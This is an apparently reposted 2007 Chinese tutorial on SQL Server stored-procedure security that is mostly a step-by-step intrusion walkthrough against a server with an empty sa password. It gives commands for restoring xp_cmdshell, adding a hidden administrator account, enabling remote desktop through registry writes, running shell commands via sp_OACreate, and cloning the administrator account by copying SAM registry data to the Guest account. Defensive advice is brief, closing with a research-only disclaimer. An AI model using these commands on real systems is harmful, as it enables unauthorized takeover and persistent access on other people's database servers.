SQL Server中存储过程的安全问题

发表于:2007-06-07来源:作者:点击数: 标签:
SQLServer 是一个c/s模式的强大的关系型 数据库 管理系统,使用的是SQL语言。是一种应用领域十分广泛的网络数据库。对 网络安全 了解的朋友应该知道,SQLServer的入侵最常见的就是利用Sa空密码入侵了,网上关于这种入侵的文章多如牛毛,有些这样的文章个人认

SQLServer是一个c/s模式的强大的关系型数据库管理系统,使用的是SQL语言。是一种应用领域十分广泛的网络数据库。对网络安全了解的朋友应该知道,SQLServer的入侵最常见的就是利用Sa空密码入侵了,网上关于这种入侵的文章多如牛毛,有些这样的文章个人认为讲解的并不详细,甚至有些是错误的,所以经常能在一些安全论坛看到类似的提问,而且有些也得不到很好的解答,下面我将详细介绍我的一些经验和总结,与大家分享。

首先让我们来了解一下SQLServer中的存储过程。存储过程是存储在SQLServer中的预先写好的SQL语句集合。存储过程分为三类:系统提供的存储过程,用户定义的存储过程和扩展存储过程。系统提供的存储过程是在安装SQLServer时创建的存储过程,名字以“sp_”开头。用户定义的存储过程是用SQLServer的使用者编写的存储过程。扩展存储过程则是对动态链接库(DLL)函数的调用,主要是用于客户端与服务器端或客户端之间进行通信的,与一般动态链接库不同的是它们直接运行在SQLServer分配的内存地址内,其中危险性最高的扩展存储过程就是xp_cmdshell了,它可以执行操作系统的任何指令。

上面了解了什么是存储过程,我们再来看一下什么是Sa。Sa是SQLServer的管理员帐号,拥有最高权限,它可以执行扩展存储过程,并获得返回值。这样你应该明白为什么得到Sa,就可以得到系统的最高权限了吧。可是,有的时候情况并不是这样,下面我们以在局域网中的SQLServer入侵介绍一下SQLServer的攻与防。

使用扫描工具扫描得到一个sa为空的机器,使用SQL Exec连接上,发现命令并不能用(如图1)。

图1

怀疑是扩展存储过程xp_cmdshell在查询分析器里删除,

语句为:exec sp_dropextendedproc 'xp_cmdshell',于是打开自己机的SQLServer的查询分析器,连上对方的SQLServer,对对方的xp_cmdshell进行恢复,语句为:

exec sp_addextendedproc 'xp_cmdshell', 'Xplog70.dll' (如图2)。

图2

然后再用SQL Exec运行SQLCMD命令,发现SQLCMD可以使用了(如图3)。

图3

我们再来在查询分析器里添加一个管理员用户(如图4),语句为

exec master..xp_cmdshell 'net user ceshi 98765321 /add'

exec master..xp_cmdshell 'net localgroup administrators ceshi /add',不用多做解释了吧,ceshi是管理员,密码为98765321。

图4

命令执行完后,我们来看一下结果,语句为:

exec master..xp_cmdshell 'net user' (如图5)

图5

有了管理员权限,我们使用流光的种植者上传一个可以开3389的bat文件,然后在对方机器运行,bat文件运行后,会使对方机器重新启动,待对方重新启动后,我们就可以用3389连接器连接了,再此不多做介绍。

或许你已经想到了,如果把xplog70.dll删除,扩展存储过程xp_cmdshell就运行不了了,也就不会被别人轻易入侵了。当我们需要的时候再把这个文件拷到C:\Program Files\Microsoft SQL Server\80\Tools\Binn就可以了,xplog70.dll在安装光盘上的位置为X86\BINN。

SQL Server2000还有很多强大的存储过程,还有没有可能别入侵者利用的呢?下面我们来看一下,还有哪些存储过程比较危险:

sp_Msgetversion(这个存储过程返回Microsoft SQL Server的版本号),使用方法:

EXEC master..sp_MSgetversion

更常用的方法获得版本信息(这种方法可以获得更多附加信息),是使用下列语句:

SELECT @@version

xp_dirtree(这个存储过程用来列出对应目录下的文件和文件夹),使用方法(要获得 C:\aaa的文件列表):

EXEC master..xp_dirtree 'C:\aaa'

xp_enumerrorlogs(这个扩展过程返回所有的错误日志和它们的最后更新日期),使用方法:

EXEC master..xp_enumerrorlogs

xp_fixeddrives(这个扩展存储过程很有用,可以列出所有硬盘分区各自的可用空间),使用方法:

EXEC master..xp_fixeddrives

xp_regread(这个扩展存储过程可以读取注册表指定的键里指定的值),使用方法(得到机器名):

DECLARE @test varchar(50)

EXEC master..xp_regread @rootkey='HKEY_LOCAL_MACHINE',

@key='system\controlset001\control\computername\computername',

@value_name='computername',

@value=@test OUTPUT

SELECT @test

xp_regdeletekey (这个扩展存储过程可以删除注册表指定的键,使用时要谨慎),使用方法(从注册表里删除HKEY_LOCAL_MACHINE\SOFTWARE\aaa):

EXEC master..xp_regdeletekey

@rootkey='HKEY_LOCAL_MACHINE',

@key='SOFTWARE\aaa'

xp_regdeletevalue(这个扩展存储过程可以删除注册表指定的键里指定的值),使用方法(要删除键值HKEY_LOCAL_MACHINE\SOFTWARE\aaa\aaaValue):

EXEC master..xp_regdeletevalue

@rootkey='HKEY_LOCAL_MACHINE',

@key='SOFTWARE\aaa',

@value_name='aaaValue'

xp_regwrite(这个扩展存储过程可以写入注册表指定的键里指定的值),使用方法(在键HKEY_LOCAL_MACHINE\SOFTWARE\aaa\aaaValue写入bbb):

EXEC master..xp_regwrite

@rootkey='HKEY_LOCAL_MACHINE',

@key='SOFTWARE\aaa',

@value_name='aaaValue',

@type='REG_SZ',

@value='bbb'

xp_enumdsn(这个扩展存储过程可以得到ODBC中的用户数据源),使用方法:

EXEC master..xp_enumdsn

有了上面这些操作注册表的扩展存储过程,入侵者就可以做很多事情了,如果被入侵机器的3389没有被打开,入侵者就可以向被入侵机器的注册表里写入开3389的键值,只要等被入侵机器重新启动后,入侵者就可以连接3389端口了,具体要写哪些键值,网上有很多介绍,大家可以找一下,需要注意的是在查询分析器里运行xp_regwrite存储过程时(注意一条一条运行),按照下面这种简单的形式运行:

xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Services\TermDD','start','reg_dword',2

等被入侵机器重新启动后,就可以连接3389端口了。

还有OLE相关的一系列存储过程,这系列的存储过程有sp_OACreate,sp_OADestroy,sp_OAGetErrorInfo,sp_OAGetProperty,sp_OAMethod,sp_OASetProperty,sp_OAStop,这些存储过程和xp_cmdshell一样危险,使用方法:

DECLARE @shell INT EXEC SP_OACREATE 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'c:\WINNT\system32\cmd.exe /c net user test 1234 /add'--

这样对方系统增加了一个用户名为test,密码为1234的用户,再执行:

DECLARE @shell INT EXEC SP_OACREATE 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'c:\WINNT\system32\cmd.exe /c net localgroup administrators test /add '--

用户test,被加入管理员组。

再来看一下如何克隆管理员帐号,把已经停用的GUEST用户启动起来,在查询分析器里运行下面的语句:

xp_regread 'HKEY_LOCAL_MACHINE','SAM\SAM\Domains\Account\Users\000001F4','F'

可以得到系统administrator的加密密码,然后复制(如图6),

图6

然后再执行:

xp_regwrite 'HKEY_LOCAL_MACHINE', 'SAM\SAM\Domains\Account\Users\000001F5', 'F','reg_binary',0x…(上一步得到的那串字符)

如果被入侵机器开了3389服务,那入侵者就可以用GUEST登陆了,密码为空,而且Guest的桌面与administrator的完全一样。在这里有个问题需要讲一下,有时候在执行xp_regread 'HKEY_LOCAL_MACHINE','SAM\SAM\Domains\Account\Users\000001F4','F'

时,出现的提示是:

错误:

消息 22001,级别 1,状态 22001

RegOpenKeyEx() returned error 2, '系统找不到指定的文件。'

(所影响的行数为 0 行)

开始以为是SQL Server版本的问题,后来经过测试发现,此问题存在在各个版本的SQL SERVER,个人认为可能与对方系统当前用户对'HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4'的访问权限有关,如果当前的用户在本地计算机无法访问该注册表项,就会出现这个提示,我将继续研究,解决这个问题,也希望知道原因和解决办法的朋友给予指点,谢谢。

以前看过SQL大侠写的一篇《一次简单的SQL Server的安全测试》文章,主要内容是IIS危险虚拟目录结合Sa为空的一次入侵测试,让我们意识到尽管我们对SQL Server做了一定的安全设置,可是功能强大的SQL Server给使用者提供方便的同时,也有可能被入侵者利用。所以最安全的方法就是给你的Sa和系统用户起一个健壮的口令,以不变应万变。

以上两台机器的测试环境均为win2000高级服务器版(sp4)+SQLServer2000(sp3)

本文方法仅供研究,请勿用于破坏上,由本文方法造成任何损失,由使用者负责,本人概不负责。

原文转自:http://www.ltesting.net